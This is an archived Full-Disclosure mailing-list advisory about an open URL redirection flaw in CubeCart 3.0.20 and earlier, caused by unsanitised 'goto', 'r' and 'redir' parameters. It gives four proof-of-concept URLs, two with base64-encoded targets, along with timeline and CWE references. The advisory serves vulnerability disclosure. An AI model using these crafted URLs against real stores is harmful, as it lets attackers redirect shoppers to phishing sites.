[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[Full-disclosure] CubeCart 3.0.20 (3.0.x) and lower | Open URL Redirection Vulnerability [Updated]



1. OVERVIEW

The CubeCart 3.0.20 and lower versions are vulnerable to Open URL Redirection.


2. BACKGROUND

CubeCart is an "out of the box" ecommerce shopping cart software
solution which has been written to run on servers that have PHP &
MySQL support. With CubeCart you can quickly setup a powerful online
store which can be used to sell digital or tangible products to new
and existing customers all over the world.


3. VULNERABILITY DESCRIPTION

The CubeCart 3.0.20 and lower versions contain a flaw that allows a
remote cross site redirection attack. This flaw exists because the
application does not properly sanitise the parameters,"goto", "r" and
"redir".  This allows an attacker to create a specially crafted URL,
that if clicked, would redirect a victim from the intended legitimate
web site to an arbitrary web site of the attacker's choice.


4. VERSIONS AFFECTED

3.0.20 and lower (aka 3.0.x family)


5. PROOF-OF-CONCEPT/EXPLOIT

http://localhost/cube3.0.20/switch.php?r=//yehg.net/&lang=es
http://localhost/cube3.0.20/admin/login.php?goto=//yehg.net
http://localhost/cube/index.php?act=login&redir=Ly95ZWhnLm5ldC8%3D
http://localhost/cube/cart.php?act=reg&redir=L2N1YmUvaW5kZXgucGhwP2FjdD1sb2dpbg%3D%3D


6. SOLUTION

The CubeCart 3.0.x version family is no longer maintained by the vendor.


7. VENDOR

CubeCart Development Team
http://cubecart.com/


8. CREDIT

Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2012-02-10: CubeCart 3.0.x in End-of-Support/Maintenance circle
2012-02-10: Vulnerability disclosed
2012-02-19: Vulnerability updated


10. REFERENCES

Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/[cubecart_3.0.20_3.0.x]_open_url_redirection
CubeCart Home Page: http://cubecart.com/
OWASP Top 10 2010 - A 10:
http://www.owasp.org/index.php/Top_10_2010-A10-Unvalidated_Redirects_and_Forwards
SANS Top 25: http://cwe.mitre.org/top25/#CWE-601
CWE-601: http://cwe.mitre.org/data/definitions/601.html


11. CHANGE LOG

This advisory was updated on 2012-02-19 with one additional vulnerable
parameter, "redir".


#yehg [2012-02-10]
last updated: 2012-02-19

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/